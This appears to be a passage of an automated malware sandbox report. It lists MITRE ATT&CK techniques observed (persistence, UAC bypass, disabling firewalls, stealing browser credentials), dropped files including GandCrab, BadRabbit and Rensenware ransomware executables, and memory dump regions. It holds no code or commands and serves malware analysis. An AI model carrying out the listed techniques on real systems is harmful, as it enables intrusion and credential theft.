C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_18.2104.12721.0_x64__8wekyb3d8bbwe\LocalBridge.exe"C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_18.2104.12721.0_x64__8wekyb3d8bbwe\LocalBridge.exe" /InvokerPRAID: Microsoft.MicrosoftOfficeHub notifications1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Account Manipulation
1Boot or Logon Autostart Execution
3Active Setup
1Registry Run Keys / Startup Folder
1Winlogon Helper DLL
1Create or Modify System Process
2Windows Service
2Event Triggered Execution
3Change Default File Association
1Component Object Model Hijacking
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Server Software Component
1Terminal Services DLL
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Account Manipulation
1Boot or Logon Autostart Execution
3Active Setup
1Registry Run Keys / Startup Folder
1Winlogon Helper DLL
1Create or Modify System Process
2Windows Service
2Event Triggered Execution
3Change Default File Association
1Component Object Model Hijacking
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Hide Artifacts
4Hidden Files and Directories
3Hidden Users
1Impair Defenses
4Disable or Modify System Firewall
1Disable or Modify Tools
3Modify Registry
10Subvert Trust Controls
1SIP and Trust Provider Hijacking
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Discovery
Browser Information Discovery
1Password Policy Discovery
1Peripheral Device Discovery
2Permission Groups Discovery
1Local Groups
1Query Registry
6System Information Discovery
7System Location Discovery
1System Language Discovery
1System Time Discovery
1Replay Monitor
Loading Replay Monitor...
Downloads
Rar.txt
RarExt.dll
RarExtInstaller.exe
RarExtPackage.msix
Uninstall.exe
WhatsNew.txt
WinRAR.chm
WinRAR.exe
taskhost.exe
winlogon.exe
winit.exe
IRONGATE_ANTIVIRUS.EXE
1B1401C7EC8E96BC79CBFD92F9DF762D_5398732881722BDE3E78D6CA6BB2B78B
6AdwCleaner.exe
blocklist
protocols.json
settings.dat
settings.dat
BookmarkMergedSurfaceOrdering
f_000073
f_0000ad
f_0000ae
f_0000af
f_0000b0
f_0000b1
the-real-index
the-real-index
the-real-index
SiteList-Enterprise.json
Edge Profile.ico
LOG.old
000001.dbtmp
HubApps
LOG
MANIFEST-000001
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
SCT Auditing Pending Reports
Sdch Dictionaries
Sdch Dictionaries
Sdch Dictionaries~RFe597797.TMP
Preferences
Preferences
Preferences
Preferences
Preferences
Secure Preferences
the-real-index
the-real-index~RFe588e9f.TMP
index.txt
index.txt~RFe588edd.TMP
the-real-index
the-real-index
the-real-index~RFe590bae.TMP
the-real-index
the-real-index
index.txt
the-real-index
the-real-index
the-real-index~RFe588c4d.TMP
MANIFEST-000001
sync_diagnostic.log
0
1
2
3
4
5
6
7
1ebef583-81fb-4cbd-9084-d0e2cba25ac1.tmp
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
RevisitationBloomfilter
RevisitationBloomfilter
RevisitationBloomfilter
RevisitationBloomfilter
RevisitationBloomfilter
RevisitationBloomfilter~RFe594e16.TMP
data_1
nav_config.json
c62d4c1c-b2e9-472f-80aa-1c257eaca240.tmp
metadata.json
metadata.json
9214f634-b33b-4ed0-b812-604121cc5a56.tmp
thumbcache_idx.db
thumbcache_idx.db
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
www.bing[1].xml
www.bing[1].xml
AppCache134162362486756379.txt
SearchHoverUnifiedTileModelCache.dat
2cbdd385-f91e-4e37-a669-10185ba29531.tmp
631921b8-a55f-41f9-8a25-97fb5ca917cd.tmp
GandCrab.exe
BadRabbit.exe
Rensenware.exe:Zone.Identifier
__PSScriptPolicyTest_bp2f53tt.1ir.ps1
aut3151.tmp
aut7E63.tmp
autAD24.tmp
4d1abeed-1482-43d7-ada2-1d6d8bf64bad.tmp
content_new.js
5f7b5f1e01b83767.automaticDestinations-ms
ccba5a5986c77e43.customDestinations-ms
{34184A33-0407-212E-3320-09040709E2C2}.exe
!_000_IronGate_Tuzak.txt
local_cache.json
local_cache.json
local_cache.json
local_cache.json
local_cache.json
vt_cache.json
vt_cache.json
vt_cache.json
vt_cache.json
vt_cache.json
vt_cache.json
vt_cache.json
u.wry
TEST.zip:Zone.Identifier
winrar-x64-720.exe.crdownload
winrar-x64-720.exe:Zone.Identifier
hosts
manifest.json
manifest.json
manifest.json
memory/236-2952-0x000001B5F0620000-0x000001B5F06CF000-memory.dmp
memory/572-4427-0x0000026DE23A0000-0x0000026DE23FD000-memory.dmp
memory/572-3268-0x0000026DE23A0000-0x0000026DE23FD000-memory.dmp
memory/968-13037-0x0000020B71410000-0x0000020B714C3000-memory.dmp
memory/1064-5482-0x000001AFCB300000-0x000001AFCB35D000-memory.dmp
memory/1264-2949-0x0000023888110000-0x000002388816D000-memory.dmp
memory/1264-13446-0x000002535EA60000-0x000002535EB13000-memory.dmp
memory/1264-2951-0x0000023889E20000-0x0000023889E32000-memory.dmp
memory/1264-2950-0x0000023889980000-0x000002388998C000-memory.dmp
memory/1592-9779-0x0000000000400000-0x00000000009B6000-memory.dmp
memory/2012-12695-0x000001F269450000-0x000001F269503000-memory.dmp
memory/2012-2963-0x0000019226230000-0x0000019226242000-memory.dmp
memory/2012-2962-0x0000019225D80000-0x0000019225D8C000-memory.dmp
memory/2012-2961-0x00000192243C0000-0x000001922441D000-memory.dmp
memory/2236-12735-0x00000269377D0000-0x0000026937883000-memory.dmp
memory/2492-8181-0x00000185F2330000-0x00000185F23E3000-memory.dmp
memory/2528-13334-0x00000210C69D0000-0x00000210C6A83000-memory.dmp
memory/2596-3175-0x00000278C5DE0000-0x00000278C5EE0000-memory.dmp
memory/2596-3067-0x00000277B2D50000-0x00000277B2E50000-memory.dmp
memory/2596-3014-0x0000027790360000-0x0000027790460000-memory.dmp
memory/2596-3076-0x00000277C3D80000-0x00000277C3DA0000-memory.dmp
memory/2596-3078-0x00000277C3B90000-0x00000277C3BB0000-memory.dmp
memory/2596-3100-0x00000278C47F0000-0x00000278C4810000-memory.dmp
memory/2596-3129-0x00000277C3A70000-0x00000277C3B70000-memory.dmp
memory/2700-4838-0x0000020DAB2E0000-0x0000020DAB33D000-memory.dmp
memory/2800-10213-0x00000226B1240000-0x00000226B12F3000-memory.dmp
memory/3016-3269-0x00000000015A0000-0x000000000164F000-memory.dmp
memory/3068-609-0x00000278B8350000-0x00000278B83AD000-memory.dmp
memory/3084-8711-0x0000000000400000-0x00000000009B6000-memory.dmp
memory/3084-9778-0x0000000000400000-0x00000000009B6000-memory.dmp
memory/3176-13377-0x000001C4E97F0000-0x000001C4E98A3000-memory.dmp
memory/3176-5453-0x000001C166E20000-0x000001C166E7D000-memory.dmp
memory/3300-5483-0x00000276D4720000-0x00000276D477D000-memory.dmp
memory/3324-8703-0x0000000000400000-0x0000000000AB9000-memory.dmp
memory/3324-9771-0x0000000000400000-0x0000000000AB9000-memory.dmp
memory/3356-8683-0x0000000000400000-0x0000000000AB9000-memory.dmp
memory/3356-8681-0x0000000000400000-0x0000000000AB9000-memory.dmp
memory/3400-5474-0x0000015970470000-0x00000159704CD000-memory.dmp
memory/3428-3270-0x00000225FCC50000-0x00000225FCCAD000-memory.dmp
memory/3640-13015-0x0000028748C60000-0x0000028748D13000-memory.dmp
memory/3688-4357-0x00000210BB970000-0x00000210BB9CD000-memory.dmp
memory/3688-4356-0x00007FFE13D60000-0x00007FFE13D89000-memory.dmp
memory/3716-5547-0x0000027DB2A50000-0x0000027DB2A5C000-memory.dmp
memory/3716-5546-0x0000027DB29B0000-0x0000027DB2A0D000-memory.dmp
memory/3716-5548-0x0000027DB2FD0000-0x0000027DB2FE2000-memory.dmp
memory/3716-8694-0x0000000000400000-0x0000000000AB9000-memory.dmp
memory/3716-8690-0x0000000000400000-0x0000000000AB9000-memory.dmp
memory/3836-4341-0x000002703DB60000-0x000002703DBBD000-memory.dmp
memory/3836-4334-0x0000027058140000-0x000002705815A000-memory.dmp
memory/3836-4337-0x00000270580F0000-0x00000270580F8000-memory.dmp
memory/3836-4343-0x000002703F8F0000-0x000002703F902000-memory.dmp
memory/3836-4338-0x0000027058120000-0x0000027058126000-memory.dmp
memory/3836-4333-0x00000270580E0000-0x00000270580EA000-memory.dmp
memory/3836-4339-0x0000027058130000-0x000002705813A000-memory.dmp
memory/3836-4342-0x000002703DBD0000-0x000002703DBDC000-memory.dmp
memory/4032-8695-0x0000000000400000-0x0000000000AB9000-memory.dmp
memory/4032-8725-0x0000000000400000-0x0000000000AB9000-memory.dmp
memory/4052-5484-0x000001CE4DF20000-0x000001CE4DF7D000-memory.dmp
memory/4144-4642-0x000002092C790000-0x000002092C7ED000-memory.dmp
memory/4236-4695-0x0000027553960000-0x00000275539BD000-memory.dmp
memory/4244-8945-0x0000000000400000-0x0000000000419000-memory.dmp
memory/4244-8911-0x0000000000400000-0x0000000000419000-memory.dmp
memory/4268-133-0x000001712AB20000-0x000001712AB7D000-memory.dmp
memory/4284-5550-0x00000222D4BA0000-0x00000222D4BAC000-memory.dmp
memory/4284-5549-0x00000222D4B10000-0x00000222D4B6D000-memory.dmp
memory/4284-5496-0x00000222ED3F0000-0x00000222ED4A3000-memory.dmp
memory/4316-4262-0x0000026CD3820000-0x0000026CD387D000-memory.dmp
memory/4400-5487-0x000001EF099D0000-0x000001EF09A2D000-memory.dmp
memory/4448-13766-0x000001A9C6250000-0x000001A9C6303000-memory.dmp
memory/4508-5481-0x00000206B8A80000-0x00000206B8ADD000-memory.dmp
memory/4560-13955-0x000001DB77AA0000-0x000001DB77B53000-memory.dmp
memory/4704-5450-0x0000016A73DE0000-0x0000016A73E3D000-memory.dmp
memory/4724-12552-0x000001B3ACD50000-0x000001B3ACE03000-memory.dmp
memory/4836-13726-0x000001A5BB4C0000-0x000001A5BB573000-memory.dmp
memory/4848-7274-0x000001789C2B0000-0x000001789C363000-memory.dmp
memory/4856-2917-0x0000019477100000-0x000001947715D000-memory.dmp
memory/5000-5449-0x00000283538A0000-0x00000283538FD000-memory.dmp
memory/5180-5485-0x000002B586C00000-0x000002B586C5D000-memory.dmp
memory/5184-12509-0x0000021874AF0000-0x0000021874BA3000-memory.dmp
memory/5204-4886-0x000001EDE74F0000-0x000001EDE754D000-memory.dmp
memory/5204-5572-0x0000021BBEC20000-0x0000021BBECD3000-memory.dmp
memory/5244-4471-0x00000299E54F0000-0x00000299E554D000-memory.dmp
memory/5252-5486-0x00000214AEB90000-0x00000214AEBED000-memory.dmp
memory/5284-5467-0x0000027195570000-0x00000271955CD000-memory.dmp
memory/5344-11149-0x00000123D79E0000-0x00000123D7A93000-memory.dmp
memory/5360-10799-0x0000000000400000-0x0000000000407200-memory.dmp
memory/5360-10801-0x0000000000400000-0x0000000000407200-memory.dmp
memory/5372-12561-0x000002302FBE0000-0x000002302FBE8000-memory.dmp
memory/5372-12567-0x000002302FE50000-0x000002302FE64000-memory.dmp
memory/5372-12565-0x00000230312B0000-0x0000023031358000-memory.dmp
memory/5372-12559-0x0000023015540000-0x000002301556C000-memory.dmp
memory/5372-12560-0x000002302FBB0000-0x000002302FBBA000-memory.dmp
memory/5404-2945-0x000001E704740000-0x000001E704752000-memory.dmp
memory/5404-2943-0x000001E702CE0000-0x000001E702D3D000-memory.dmp
memory/5404-2944-0x000001E704730000-0x000001E70473C000-memory.dmp
memory/5428-13466-0x0000025CE6E50000-0x0000025CE6F03000-memory.dmp
memory/5444-11501-0x00000231CAED0000-0x00000231CAF83000-memory.dmp
memory/5508-8412-0x0000000000060000-0x000000000008E000-memory.dmp
memory/5532-4590-0x000001C71FFD0000-0x000001C72002D000-memory.dmp
memory/5620-12627-0x000001BE26D10000-0x000001BE26DC3000-memory.dmp
memory/5652-5460-0x000002C5480C0000-0x000002C54811D000-memory.dmp
memory/5728-5542-0x0000023E6F270000-0x0000023E6F27C000-memory.dmp
memory/5728-5543-0x0000023E6F7E0000-0x0000023E6F7F2000-memory.dmp
memory/5728-5541-0x0000023E6D870000-0x0000023E6D8CD000-memory.dmp
memory/5844-8986-0x0000000000FC0000-0x00000000010AC000-memory.dmp
memory/5844-8993-0x0000000000FC0000-0x00000000010AC000-memory.dmp
memory/5884-5459-0x000001CFD8BD0000-0x000001CFD8C2D000-memory.dmp
memory/5940-8796-0x0000000000400000-0x00000000009B6000-memory.dmp
memory/5940-8789-0x0000000000400000-0x00000000009B6000-memory.dmp
memory/5984-2981-0x0000026444D10000-0x0000026444D6D000-memory.dmp
memory/5984-2964-0x0000026444D10000-0x0000026444D6D000-memory.dmp
memory/6044-4288-0x000002A7396F0000-0x000002A739712000-memory.dmp
memory/6044-4297-0x000002A739980000-0x000002A73999C000-memory.dmp
memory/6044-4298-0x000002A7399A0000-0x000002A739A53000-memory.dmp
memory/6044-4299-0x000002A739A60000-0x000002A739A6A000-memory.dmp
memory/6044-4301-0x000002A739A90000-0x000002A739AAC000-memory.dmp
memory/6044-4308-0x000002A7213D0000-0x000002A7213E2000-memory.dmp
memory/6044-4307-0x000002A720F60000-0x000002A720F6C000-memory.dmp
memory/6044-4306-0x000002A720EB0000-0x000002A720F0D000-memory.dmp
memory/6072-12670-0x000001B6EE120000-0x000001B6EE1D3000-memory.dmp
memory/6120-5454-0x000001ABDD680000-0x000001ABDD6DD000-memory.dmp